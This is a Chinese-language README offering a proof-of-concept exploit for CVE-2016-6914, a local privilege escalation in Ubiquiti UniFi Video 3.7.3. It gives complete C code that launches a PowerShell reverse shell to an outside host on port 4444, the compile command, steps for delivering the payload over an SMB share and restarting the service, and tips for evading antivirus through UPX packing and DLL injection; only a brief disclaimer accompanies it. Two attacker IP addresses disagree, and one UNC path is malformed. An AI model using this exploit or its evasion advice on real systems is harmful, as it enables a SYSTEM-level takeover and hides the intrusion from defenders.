本仓库包含针对 CVE-2016-6914 的概念验证(PoC),这是一个影响 Ubiquiti UniFi Video 3.7.3 的**本地权限提升(LPE)**漏洞。
低权限攻击者可以替换 C:\ProgramData\unifi-video\ 下的受信任二进制文件(taskkill.exe),从而以 SYSTEM 权限执行恶意代码。
1️⃣ 将 taskkill.exe 替换为恶意载荷(exploit.exe)。
2️⃣ 等待 UniFi Video Service 运行,或手动重启该服务。
3️⃣ 恶意载荷执行,获得 SYSTEM shell。
该载荷会替换 taskkill.exe 并启动一个反向 shell。
#include <windows.h>
int main() {
system("powershell -NoP -W Hidden -c \"$client = New-Object System.Net.Sockets.TCPClient('10.10.16.5',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();\"");
return 0;
}
✅ 使用 MinGW 编译: x86_64-w64-mingw32-gcc exploit.c -o exploit.exe
1️⃣ 设置 SMB 共享(用于远程文件投递) 在 Kali 上运行: impacket-smbserver share . -smb2support 2️⃣ 启动 Netcat 监听器 nc -lvnp 4444 3️⃣ 将载荷投递到目标机器 在目标系统上运行以下 PowerShell 命令: copy \10.10.14.5\share\taskkill.exe C:\ProgramData\unifi-video\taskkill.exe stop-service UnifiVideoService -Force start-service UnifiVideoService 4️⃣ 获取 SYSTEM Shell 执行后,你的监听器上会打开一个 SYSTEM shell!
为了规避基本的 AV 检测,可以尝试:
✔️ 使用 UPX 打包可执行文件:
upx --best --lzma exploit.exe
✔️ 使用替代系统调用(Syscalls)而不是 system()。
✔️ 通过 DLL 注入将代码嵌入合法进程。
📢 此 PoC 仅供教育目的使用! 🛑 未经授权使用是违法的,并将受到处罚。 👨💻 请仅以合法且合乎道德的方式使用。